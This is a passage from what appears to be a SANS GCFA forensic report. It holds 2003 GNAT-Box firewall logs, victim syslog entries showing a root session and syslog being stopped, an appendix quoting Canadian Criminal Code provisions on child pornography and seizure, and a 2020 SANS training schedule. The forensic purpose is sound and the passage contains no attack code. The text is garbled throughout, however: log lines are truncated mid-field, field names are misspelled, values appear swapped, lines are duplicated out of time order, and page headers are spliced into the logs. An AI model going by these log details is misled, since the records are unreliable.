RAF flt_action=block msg="Block RAF (24)" rule=24 proto=3389/tcp src=80.6.101.56 srcport=4918 dst=XXX.XXX.5.32 dsport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=6 msg="FILT ER: 101 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=4 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 protocol=443/tcp src=XXX.XXX.108.64 srcport=35057 dst=XXX.XXX.5.32 dstport=4310 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=6 msg="FILT ER: 62 matches for 24: Deny warning ANY ALL alarm from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=4 flt_type=
RAF flt_action=block msg="Block RAF (24)" rule=24 proto=4310/tcp src=216.23.200.152 srcport=3196 dst=XXX.XXX.5.32 dsport=3410 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:18:04 192.168.1.1 id=firewall time="2003-06-29 15:18:04" fw="GNAT-Box" pri=6 msg="FILT ER: 104 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:18:04 192.168.1.1 id=firewall time="2003-06-29 15:18:04" fw="GNAT-Box" pri=4 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 protocol=18/tcp src=XXX.XXX.119.81 srcport=1469 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=6 msg="FILT ER: 101 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:18:04 192.168.1.1 id=firewall time="2003-06-29 15:18:04" fw="GNAT-Box" pri=6 msg="FILT ER: 102 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=6 msg="FILT ER: 104 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:03 192.168.1.1 id=firewall time="2003-06-29 15:19:03" fw="GNAT-Box" pri=6 msg="FILT ER: 104 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:03 192.168.1.1 id=firewall time="2003-06-29 15:19:03" fw="GNAT-Box" pri=6 msg="FILT ER: 104 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:03 192.168.1.1 id=firewall time="2003-06-29 15:19:03" fw="GNAT-Box" pri=6 msg="FILT ER: 104 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:03 192.168.1.1 id=firewall time="2003-06-29 15:19:03" fw="GNAT-Box" pri=6 msg="FILT ER: 105 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:03 192.168.1.1 id=firewall time="2003-06-29 15:19:03" fw="GNAT-Box" pri=6 msg="FILT ER: 106 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 106 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 106 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 106 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 106 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 106 match...
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35063 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:06 192.168.1.1 id=firewall time="2003-06-29 15:19:06" fw="GNAT-Box" pri=6 msg="FILT ER: 110 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:06 192.168.1.1 id=firewall time="2003-06-29 15:19:06" fw="GNAT-Box" pri=6 msg="FILT ER: 111 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:06 192.168.1.1 id=firewall time="2003-06-29 15:19:06" fw="GNAT-Box" pri=6 msg="FILT ER: 112 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:20:06 192.168.1.1 id=firewall time="2003-06-29 15:20:06" fw="GNAT-Box" pri=6 msg="FILT ER: 113 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:20:06 192.168.1.1 id=firewall time="2003-06-29 15:20:06" fw="GNAT-Box" pri=6 msg="FILT ER: 114 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Jun 29 15:19:06 192.168.1.1 id=firewall time="2003-06-29 15:19:06" fw="GNAT-Box" prl=6 msg="FILT ER: 115 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
t=XXX.XXX.5.35 dsprotport=443 interface=sis1 flags=0x2
Jun 29 15:19:07 192.168.1.1 id=firewall time="2003-06-29 15:19:07" fw="GNAT-Box" prl=6 msg="FILT ER: 116 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:09 192.168.1.1 id=firewall time="2003-06-29 15:19:09" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35077 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2 ER: 124 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:19:09 192.168.1.1 id=firewall time="2003-06-29 15:19:09" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35082 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:10 192.168.1.1 id=firewall time="2003-06-29 15:19:10" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35081 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:10 192.168.1.1 id=firewall time="2003-06-29 15:19:10" fw="GNAT-Box" pri=6 msg="FILT ER: 127 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:19:10 192.168.1.1 id=firewall time="2003-06-29 15:19:10" fw="GNAT-Box" pri=6 msg="FILT ER: 128 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:19:10 192.168.1.1 id=firewall time="2003-06-29 15:19:10" fw="GNAT-Box" pri=6 msg="FILT ER: 131 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
### Logs showing syslog being shutdown on Linux 7.3 system

#### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment: EnCase Computer Analysis Report**

**Page 324**

Jun 29 15:19:11 192.168.1.1 id=firewall time="2003-06-29 15:19:11" fwp="GNAT-Box" prl=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX dstport=35086 dst=XXX.XXX.XXX.XXX interface=sis1 flags=0x2

Jun 29 15:19:11 192.168.1.1 id=firewall time="2003-06-29 15:19:11" fwp="GNAT-Box" prl=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX dstport=35087 dst=XXX.XXX.XXX.XXX interface=sis1 flags=0x2

Jun 29 15:19:11 192.168.1.1 id=firewall time="2003-06-29 15:19:11" fwp="GNAT-Box" prl=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX dstport=35086 dst=XXX.XXX.XXX.XXX interface=sis1 flags=0x2

Jun 29 15:19:11 192.168.1.1 id=firewall time="2003-06-29 15:19:11" fwp="GNAT-Box" prl=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX dstport=35087 dst=XXX.XXX.XXX.XXX interface=sis1 flags=0x2

Jun 29 15:19:11 192.168.1.1 id=firewall time="2003-06-29 15:19:11" fwp="GNAT-Box" prl=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX dstport=35086 dst=XXX.XXX.XXX.XXX interface=sis1 flags=0x2

Jun 29 15:20:04 192.168.1.1 id=firewall time="2003-06-29 15:20:04" fwp="GNAT-Box" prl=6 flt_type=OBF flt_action=pass msg="Received (3)" rule=3 proto=53/udp src=192.168.2.15 dstport=1031 dst=142.165.5.2 interface=sis2

Jun 29 15:20:04 192.168.1.1 id=firewall time="2003-06-29 15:20:04" fwp="GNAT-Box" prl=6 flt_type=OBF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 dstport=1060 dst=65.113.119.141 interface=sis2 flags=0x2

Jun 29 15:20:04 192.168.1.1 id=firewall time="2003-06-29 15:20:04" fwp="GNAT-Box" prl=6 flt_type=OBF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 dstport=1060 dst=65.113.119.141 interface=sis2 flags=0x2

Jun 29 15:20:04 192.168.1.1 id=firewall time="2003-06-29 15:20:04" fwp="GNAT-Box" prl=6 flt_type=OBF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 dstport=1060 dst=65.113.119.141 interface=sis2 flags=0x2

Jun 29 15:20:04 192.168.1.1 id=firewall time="2003-06-29 15:20:04" fwp="GNAT-Box" prl=6 flt_type=OBF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 dstport=1060 dst=65.113.119.141 interface=sis2 flags=0x2

#### Table: Victim Logs from log Server - Syslog shutdown

<table>
<thead>
<tr>
<th>Hash Value</th>
<th>Comment: Victim Logs from log Server - Syslog shutdown</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jun 29 15:20:54 192.168.2.15 kernel: request_module[net-pf-14]: waitpid(19602, ...) failed, errno 1</td>
<td></td>
</tr>
<tr>
<td>Jun 29 15:20:57 192.168.2.15 suipam_unix[19604]: session opened for user root by (uid=0)</td>
<td></td>
</tr>
<tr>
<td>Jun 29 15:21:13 192.168.2.15 exiting on signal 15</td>
<td></td>
</tr>
</tbody>
</table>
Logs after logging shutdown on Linux 7.3 system

Comment: Firewall logs from log Server - After Syslog shutdown

Jun 29 15:20:33 192.168.1.1 id=firewall time="2003-06-29 15:20:33" fw="GNAT-Box" pri=6 flt_type=OBF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srcport=1061 dst=207.66.155.21 dstport=80 interface=sis2 flags=0x2
Jun 29 15:20:33 192.168.1.1 id=firewall time="2003-06-29 15:20:33" fw="GNAT-Box" pri=6 msg="FILT ER: 4 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:22:06 192.168.1.1 id=firewall time="2003-06-29 15:22:06" fw="GNAT-Box" pri=6 msg="FILT ER: 10 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:22:06 192.168.1.1 id=firewall time="2003-06-29 15:22:06" fw="GNAT-Box" pri=6 msg="FILT ER: 140 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:22:06 192.168.1.1 id=firewall time="2003-06-29 15:22:06" fw="GNAT-Box" pri=6 msg="FILT ER: 141 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35104 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GNAT-Box" pri=6 msg="FILT ER: 151 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35104 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35105 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35105 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Appendix G


163.1 (1) In this section, "child pornography" means

(a) a photographic, film, video or other visual representation, whether or not it was made by electronic or mechanical means,

(i) that shows a person who is or is depicted as being under the age of eighteen years and is engaged in or is depicted as engaged in explicit sexual activity, or

(ii) the dominant characteristic of which is the depiction, for a sexual purpose, of a sexual organ or the anal region of a person under the age of eighteen years; or

(b) any written material or visual representation that advocates or counsels sexual activity with a person under the age of eighteen years that would be an offence under this Act.

(2) Every person who makes, prints, publishes or possesses for the purpose of publication any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

(4) Every person who possesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

(4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding
five years; or

(b) an offence punishable on summary conviction.

**Interpretation**

(4.2) For the purposes of subsection (4.1), a person accesses child pornography who knowingly causes child pornography to be viewed by, or transmitted to, himself or herself.

**Defence**

(5) It is not a defence to a charge under subsection (2) in respect of a visual representation that the accused believed that a person shown in the representation that is alleged to constitute child pornography was or was depicted as being eighteen years of age or more unless the accused took all reasonable steps to ascertain the age of that person and took all reasonable steps to ensure that, where the person was eighteen years of age or more, the representation did not depict that person as being under the age of eighteen years.

**Defences**

(6) Where the accused is charged with an offence under subsection (2), (3), (4) or (4.1), the court shall find the accused not guilty if the representation or written material that is alleged to constitute child pornography has artistic merit or an educational, scientific or medical purpose.

**Other provisions to apply**

(7) Subsections 163(3) to (5) apply, with such modifications as the circumstances require, with respect to an offence under subsection (2), (3), (4) or (4.1).

1993, c. 46, s. 2; 2002, c. 13, s. 5.

**Warrant of seizure**

164. (1) A judge who is satisfied by information on oath that there are reasonable grounds for believing that

(a) any publication, copies of which are kept for sale or distribution in premises within the jurisdiction of the court, is obscene or a crime comic, within the meaning of section 163, or

(b) any representation or written material, copies of which are kept in premises within the jurisdiction of the court, is child pornography within the meaning of section 163.1,

may issue a warrant authorizing seizure of the copies.

(2) Within seven days of the issue of a warrant under subsection (1), the judge shall issue a summons to the occupier of the premises requiring him to appear before the court and show cause why the matter seized should not be forfeited to Her Majesty.

(3) The owner and the maker of the matter seized under subsection (1), and alleged to be obscene, a crime comic or child pornography, may appear and be represented in the proceedings in order to oppose the making of an order for the forfeiture of the matter.

(4) If the court is satisfied, on a balance of probabilities, that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it may make an order declaring the matter forfeited to Her Majesty in right of the province in which the proceedings take place, for disposal as the Attorney General may direct.
Disposal of matter

(5) If the court is not satisfied that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it shall order that the matter be restored to the person from whom it was seized forthwith after the time for final appeal has expired.

Appeal

(6) An appeal lies from an order made under subsection (4) or (5) by any person who appeared in the proceedings

(a) on any ground of appeal that involves a question of law alone,

(b) on any ground of appeal that involves a question of fact alone, or

(c) on any ground of appeal that involves a question of mixed law and fact, as if it were an appeal against conviction or against a judgment or verdict of acquittal, as the case may be, on a question of law alone under Part XXI and sections 673 to 696 apply with such modifications as the circumstances require.

Consent

(7) Where an order has been made under this section by a judge in a province with respect to one or more copies of a publication, representation or written material, no proceedings shall be instituted or continued in that province under section 163 or 163.1 with respect to those or other copies of the same publication, representation or written material without the consent of the Attorney General.

Punishment

169. Every one who commits an offence under section 163, 165, 167 or 168 is guilty of

(a) an indictable offence and is liable to imprisonment for a term not exceeding two years; or

(b) an offence punishable on summary conviction.

R.S., 1985, c. C-46, s. 169; 1999, c. 5, s. 3.

Appendix H

References


# Upcoming SANS Forensics Training

<table>
<thead>
<tr>
<th>Event Name</th>
<th>Location, Country</th>
<th>Dates</th>
<th>Platform</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS London April Live Online 2020</td>
<td>London, United Kingdom</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Brussels April Live Online 2020</td>
<td>Brussels, Belgium</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Apr 27</td>
<td>Baltimore, MD</td>
<td>Apr 27, 2020 - May 02, 2020</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>May 4</td>
<td></td>
<td>May 04, 2020 - May 09, 2020</td>
</tr>
<tr>
<td>Live Online - FOR500: Windows Forensic Analysis</td>
<td>United Arab Emirates</td>
<td>May 06, 2020 - Jun 12, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>SANS Security West 2020</td>
<td>San Diego, CA</td>
<td>May 11, 2020 - May 16, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Hong Kong SE Asia Live Online 2020</td>
<td>Hong Kong, Hong Kong</td>
<td>May 11, 2020 - May 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Mid-May</td>
<td>Alexandria, VA</td>
<td>May 17, 2020 - May 22, 2020</td>
</tr>
<tr>
<td>Autumn Australia Live Online 2020</td>
<td>Sydney, Australia</td>
<td>May 18, 2020 - May 29, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Live Online - FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics</td>
<td>United Arab Emirates</td>
<td>May 19, 2020 - Jun 06, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Live Online - FOR578: Cyber Threat Intelligence</td>
<td>United Arab Emirates</td>
<td>May 27, 2020 - Jun 26, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Jun 1</td>
<td>IL</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
</tr>
<tr>
<td>SANSFIRE 2020</td>
<td>DC</td>
<td>Jun 13, 2020 - Jun 20, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Jun 22</td>
<td>PA</td>
<td>Jun 22, 2020 - Jun 27, 2020</td>
</tr>
<tr>
<td>Cyber Defence Australia Online 2020</td>
<td>Australia</td>
<td>Jun 22, 2020 - Jul 04, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Asia Pacific Live Online 2020</td>
<td>Singapore</td>
<td>Jun 22, 2020 - Jun 27, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>DFIR Summit &amp; Training 2020</td>
<td>Virtual - US Eastern,</td>
<td>Jul 16, 2020 - Jul 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Jul 20 ET</td>
<td>MD</td>
<td>Jul 20, 2020 - Jul 25, 2020</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Jul 27</td>
<td>NC</td>
<td>Jul 27, 2020 - Aug 01, 2020</td>
</tr>
<tr>
<td>Live Online - FOR578: Cyber Threat Intelligence</td>
<td>United Arab Emirates</td>
<td>Jul 28, 2020 - Aug 27, 2020</td>
<td>vLive</td>
</tr>
</tbody>
</table>